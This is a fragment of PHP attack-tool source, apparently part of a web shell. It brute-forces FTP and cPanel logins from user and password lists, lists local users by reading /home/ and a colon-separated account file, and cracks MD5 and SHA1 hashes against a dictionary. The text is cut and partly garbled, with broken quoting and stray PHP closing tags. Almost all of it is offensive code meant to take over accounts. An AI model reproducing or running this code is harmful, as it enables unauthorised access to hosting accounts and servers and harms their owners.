curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 )
{
print "
Error : Connection Timeout
Please Check The Target Hostname . ";exit;
}
else if ( curl_errno($ch) == 0 )
{
print "[~]
Cracking Success With Username " $user \"
and Password \" $pass \" ";
}
curl_close($ch);
}
$time_start = getmicrotime();
if(isset($submit) && !empty($submit))
{
if(empty($users) && empty($pass) )
{
print "Error : Please Check The Users or Password List Entry . . .
"; exit; }
if(empty($users)){ print "Error : Please Check The Users List Entry . . .
"; exit; }
if(empty($pass) && $_REQUEST['bruteforce']!="true" ){ print "Error : Please Check The Password List Entry . . .
"; exit; };
$userlist=explode("\n",$users);
$passlist=explode("\n",$pass);
print "[~]#
LETS GAME BEGIN ;) ... ";
if(isset($_POST['connect_timeout']))
{
$connect_timeout=$_POST['connect_timeout'];
}
if($cracktype == "ftp")
{
foreach ($userlist as $user)
{
$pureuser = trim($user);
foreach ($passlist as $password )
{
$purepass = trim($password);
ftp_check($target,$pureuser,$purepass,$connect_timeout);
}
}
}
if ($cracktype == "cpanel" || $cracktype == "cpanel2")
{
if($cracktype == "cpanel2")
{
$cpanel_port="23";
}
else
$cpanel_port="2082";
foreach ($userlist as $user)
{
$pureuser = trim($user);
print "[~]#
Please put some good password to crack user $pureuser :( ... ";
if($_POST['bruteforce']=="true")
{
echo " bruteforcing ..";
echo " ";
brute();
}
else
{
echo " ";
foreach ($passlist as $password )
{
$purepass = trim($password);
cpanel_check($target,$pureuser,$purepass,$connect_timeout);
}
}
}
$time_end = getmicrotime();
$time = $time_end - $time_start;
print "[~]#
Cracking Finished. Elapsed time: $time seconds ";
}
}
?>
$val)
{
$str=explode(":",$val);
echo $str[0]."\n";
}
}
if (isset($_POST['grab_users2']))
{
$dir = "/home/";
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
echo $file. "\n";
}
closedir($dh);
}
}
?>
";
}
}
}
closedir($dh);
}
}
?>
Cracking " . htmlspecialchars($hash)."... ";flusheR();
$type=($_REQUEST['type']=='MD5')?'md5':'sha1';
while(!feof($dictionary)){
$word=trim(fgets($dictionary)," \n\r");
if ($hash==strtoupper(($type($word)))){echo "The answer is $word ";break;}
}
echo "Done!";
fclose($dictionary);
}
else{
echo "$errorbox Can not open dictionary.$et";
}
}
echo "